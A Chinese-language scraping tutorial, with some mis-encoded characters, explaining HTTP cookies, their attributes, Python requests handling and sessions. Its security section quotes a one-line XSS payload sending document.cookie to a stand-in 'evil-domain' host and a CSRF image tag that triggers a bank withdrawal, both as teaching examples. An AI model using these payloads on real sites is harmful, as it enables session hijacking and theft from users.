爬蟲工程師必須掌握的Cookie知識點都在這里
上一篇我們在講優(yōu)酷彈幕爬蟲的時候，引入了一個新的知識點：Cookie，由于篇幅有限當(dāng)時只是簡單的給大家介紹了一下它的作用，今天我們就來全面了解一下Cookie（小餅干）以及相關(guān)的知識！
相信很多同學(xué)肯定聽過Cookie這個東西，也大概了解其作用，但是其原理以及如何設(shè)置，可能沒有做過web的同學(xué)并不是非常清楚，那今天豬哥就帶大家詳細了解下Cookie相關(guān)的知識！
一、誕生背景
爬蟲系列教程的第一篇：HTTP詳解中我們便說過HTTP的五大特點，而其中之一便是：無狀態(tài)。
HTTP無狀態(tài)：服務(wù)器無法知道兩個請求是否來自同一個瀏覽器，即服務(wù)器不知道用戶上一次做了什么，每次請求都是完全相互獨立。
早期互聯(lián)網(wǎng)只是用于簡單的瀏覽文檔信息、查看黃頁、門戶網(wǎng)站等等，并沒有交互這個說法。但是隨著互聯(lián)網(wǎng)慢慢發(fā)展，寬帶、服務(wù)器等硬件設(shè)施已經(jīng)得到很大的提升，互聯(lián)網(wǎng)允許人們可以做更多的事情，所以交互式Web慢慢興起，而HTTP無狀態(tài)的特點卻嚴(yán)重阻礙其發(fā)展！
交互式Web：客戶端與服務(wù)器可以互動，如用戶登錄，購買商品，各種論壇等等。
不能記錄用戶上一次做了什么，怎么辦？聰明的程序員們就開始思考：怎么樣才能記錄用戶上一次的操作信息呢？于是有人就想到了隱藏域。
隱藏域?qū)懛ǎ?lt;input type="hidden" name="field＿name" value="value">
這樣把用戶上一次操作記錄放在form表單的input中，這樣請求時將表單提交不就知道上一次用戶的操作，但是這樣每次都得創(chuàng)建隱藏域而且得賦值太麻煩，而且容易出錯！
ps：隱藏域作用強大，時至今日都有很多人在用它解決各種問題！
網(wǎng)景公司當(dāng)時一名員工Lou Montulli（盧-蒙特利），在1994年將“cookies”的概念應(yīng)用于網(wǎng)絡(luò)通信，用來解決用戶網(wǎng)上購物的購物車歷史記錄，而當(dāng)時最強大的瀏覽器正是網(wǎng)景瀏覽器，在網(wǎng)景瀏覽器的支持下其他瀏覽器也漸漸開始支持Cookie，到目前所有瀏覽器都支持Cookie了。
二、Cookie是什么
前面我們已經(jīng)知道了Cookie的誕生是為了解決HTTP無狀態(tài)的特性無法滿足交互式web，那它究竟是什么呢？
上圖是在Chrome瀏覽器中的百度首頁的Cookies（Cookie的復(fù)數(shù)形式），在表格中，每一行都代表著一個Cookie，所以我們來看看Cookie的定義吧！
Cookie是由服務(wù)器發(fā)給客戶端的特殊信息，而這些信息以文本文件的方式存放在客戶端，然后客戶端每次向服務(wù)器發(fā)送請求的時候都會帶上這些特殊的信息，用于服務(wù)器記錄客戶端的狀態(tài)。
Cookie主要用于以下三個方面：
- 會話狀態(tài)管理（如用戶登錄狀態(tài)、購物車、游戲分數(shù)或其它需要記錄的信息）
- 個性化設(shè)置（如用戶自定義設(shè)置、主題等）
- 瀏覽器行為跟蹤（如跟蹤分析用戶行為等）
三、Cookie原理
我們在了解了Cookie是由服務(wù)器發(fā)出存儲在瀏覽器的特殊信息，那具體是怎么樣的一個過程呢？為了大家便于理解，豬哥就以用戶登錄為例子為大家畫了一幅Cookie原理圖
用戶在輸入用戶名和密碼之后，瀏覽器將用戶名和密碼發(fā)送給服務(wù)器，服務(wù)器進行驗證，驗證通過之后將用戶信息加密后封裝成Cookie放在請求頭中返回給瀏覽器。
- HTTP/1.1 200 OK
- Content-type: text/html
- Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly
- [響應(yīng)體]
瀏覽器收到服務(wù)器返回數(shù)據(jù)，發(fā)現(xiàn)請求頭中有一個：Set-Cookie，然后它就把這個Cookie保存起來，下次瀏覽器再請求服務(wù)器的時候，會把Cookie也放在請求頭中傳給服務(wù)器：
- GET /sample_page.html HTTP/1.1
- Host: www.example.org
- Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg
服務(wù)器收到請求后從請求頭中拿到cookie，然后解析并到用戶信息，說明此用戶已登錄，Cookie是將數(shù)據(jù)保存在客戶端的。
這里我們可以看到，用戶信息是保存在Cookie中，也就相當(dāng)于是保存在瀏覽器中，那就說用戶可以隨意修改用戶信息，這是一種不安全的策略！
強調(diào)一點：Cookie無論是服務(wù)器發(fā)給瀏覽器還是瀏覽器發(fā)給服務(wù)器，都是放在請求頭中的！
四、Cookie屬性
下圖中我們可以看到一個Cookie有：Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性，那這些屬性分別都有什么作用呢？我們來看看。
1. Name&Value
Name表示Cookie的名稱，服務(wù)器就是通過name屬性來獲取某個Cookie值。
Value表示Cookie 的值，大多數(shù)情況下服務(wù)器會把這個value當(dāng)作一個key去緩存中查詢保存的數(shù)據(jù)。
2.Domain&Path
Domain表示可以訪問此cookie的域名，下圖我們以百度貼吧頁的Cookie來講解一下Domain屬性。
從上圖中我們可以看出domain有：.baidu.com 頂級域名和.teiba.baidu.com的二級域名，所以這里就會有一個訪問規(guī)則：頂級域名只能設(shè)置或訪問頂級域名的Cookie，二級及以下的域名只能訪問或設(shè)置自身或者頂級域名的Cookie，所以如果要在多個二級域名中共享Cookie的話，只能將Domain屬性設(shè)置為頂級域名！
Path表示可以訪問此cookie的頁面路徑。比如path=/test，那么只有/test路徑下的頁面可以讀取此cookie。
3.Expires/Max-Age
Expires/Max-Age表示此cookie超時時間。若設(shè)置其值為一個時間，那么當(dāng)?shù)竭_此時間后，此cookie失效。不設(shè)置的話默認值是Session，意思是cookie會和session一起失效。當(dāng)瀏覽器關(guān)閉(不是瀏覽器標(biāo)簽頁，而是整個瀏覽器) 后，此cookie失效。
提示：當(dāng)Cookie的過期時間被設(shè)定時，設(shè)定的日期和時間只與客戶端相關(guān)，而不是服務(wù)端。
4.Size
Size表示Cookie的name+value的字符數(shù)，比如有一個Cookie：id=666，那么Size=2+3=5 。
另外每個瀏覽器對Cookie的支持都不相同。
5.HTTP
HTTP表示cookie的httponly屬性。若此屬性為true，則只有在http請求頭中會帶有此cookie的信息，而不能通過document.cookie來訪問此cookie。
設(shè)計該特征意在提供一個安全措施來幫助阻止通過Javascript發(fā)起的跨站腳本攻擊(XSS)竊取cookie的行為。
6.Secure
Secure表示是否只能通過https來傳遞此條cookie。不像其它選項，該選項只是一個標(biāo)記并且沒有其它的值。
這種cookie的內(nèi)容意指具有很高的價值并且可能潛在的被破解以純文本形式傳輸。
五、Python操作Cookie
1.生成Cookie
前面我們說過Cookie是由服務(wù)端生成的，那如何用Python代碼來生成呢？
從上圖登錄代碼中我們看到，在簡單的驗證用戶名和密碼之后，服務(wù)器跳轉(zhuǎn)到/user，然后set了一個cookie，瀏覽器收到響應(yīng)后發(fā)現(xiàn)請求頭中有一個：Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg，然后瀏覽器就會將這個Cookie保存起來！
2.獲取Cookie
最近我們一直在講requests模塊，這里我們就用requests模塊來獲取Cookie。
r.cookies表示獲取所有cookie，get_dict()函數(shù)表示返回的是字典格式cookie。
3.設(shè)置Cookie
上篇我們爬取優(yōu)酷彈幕的文章中便是用了requests模塊設(shè)置Cookie。
我們就瀏覽器復(fù)制過來的Cookie放在代碼中，這樣便可以順利的偽裝成瀏覽器，然后正常爬取數(shù)據(jù)，復(fù)制Cookie是爬蟲中常用的一種手段！
六、Session
1.誕生背景
其實在Cookie設(shè)計之初，并不像豬哥講的那樣Cookie只保存一個key，而是直接保存用戶信息，剛開始大家認為這樣用起來很爽，但是由于cookie 是存在用戶端，而且它本身存儲的尺寸大小也有限，最關(guān)鍵是用戶可以是可見的，并可以隨意的修改，很不安全。那如何又要安全，又可以方便的全局讀取信息呢？于是，這個時候，一種新的存儲會話機制：Session 誕生了。
2.Session是什么
Session翻譯為會話，服務(wù)器為每個瀏覽器創(chuàng)建的一個會話對象，瀏覽器在第一次請求服務(wù)器，服務(wù)器便會為這個瀏覽器生成一個Session對象，保存在服務(wù)端，并且把Session的Id以cookie的形式發(fā)送給客戶端瀏覽，而以用戶顯式結(jié)束或session超時為結(jié)束。
我們來看看Session工作原理：
- 當(dāng)一個用戶向服務(wù)器發(fā)送第一個請求時，服務(wù)器為其建立一個session，并為此session創(chuàng)建一個標(biāo)識號（sessionID）。
- 這個用戶隨后的所有請求都應(yīng)包括這個標(biāo)識號（sessionID）。服務(wù)器會校對這個標(biāo)識號以判斷請求屬于哪個session。
對于session標(biāo)識號（sessionID），有兩種方式實現(xiàn)：Cookie和URL重寫，豬哥就以Cookie的實現(xiàn)方式畫一個Session原理圖
聯(lián)系cookie原理圖我們可以看到，Cookie是將數(shù)據(jù)直接保存在客戶端，而Session是將數(shù)據(jù)保存在服務(wù)端，就安全性來講Session更好！
3.Python操作Session
后面豬哥將會以登錄的例子來講解如何用Python代碼操作Session
七、面試場景
1.Cookie和Session關(guān)系
- 都是為了實現(xiàn)客戶端與服務(wù)端交互而產(chǎn)出
- Cookie是保存在客戶端，缺點易偽造、不安全
- Session是保存在服務(wù)端，會消耗服務(wù)器資源
- Session實現(xiàn)有兩種方式：Cookie和URL重寫
2.Cookie帶來的安全性問題
會話劫持和XSS：在Web應(yīng)用中，Cookie常用來標(biāo)記用戶或授權(quán)會話。因此，如果Web應(yīng)用的Cookie被竊取，可能導(dǎo)致授權(quán)用戶的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學(xué)攻擊和利用應(yīng)用程序漏洞進行XSS攻擊。(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。
跨站請求偽造（CSRF）：維基百科已經(jīng)給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片，它實際上是一個給你銀行服務(wù)器發(fā)送提現(xiàn)的請求：<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當(dāng)你打開含有了這張圖片的HTML頁面時，如果你之前已經(jīng)登錄了你的銀行帳號并且Cookie仍然有效（還沒有其它驗證步驟），你銀行里的錢很可能會被自動轉(zhuǎn)走。解決CSRF的辦法有：隱藏域驗證碼、確認機制、較短的Cookie生命周期等
八、總結(jié)
今天為大家講解了Cookie的相關(guān)知識，以及如何使用requests模塊操作Cookie，最后順便提了一下Cookie與Session的關(guān)系以及Cookie存在哪些安全問題。希望大家能對Cookie（小餅干）能有個全面的了解，這樣對你在今后的爬蟲學(xué)習(xí)中會大有裨益！
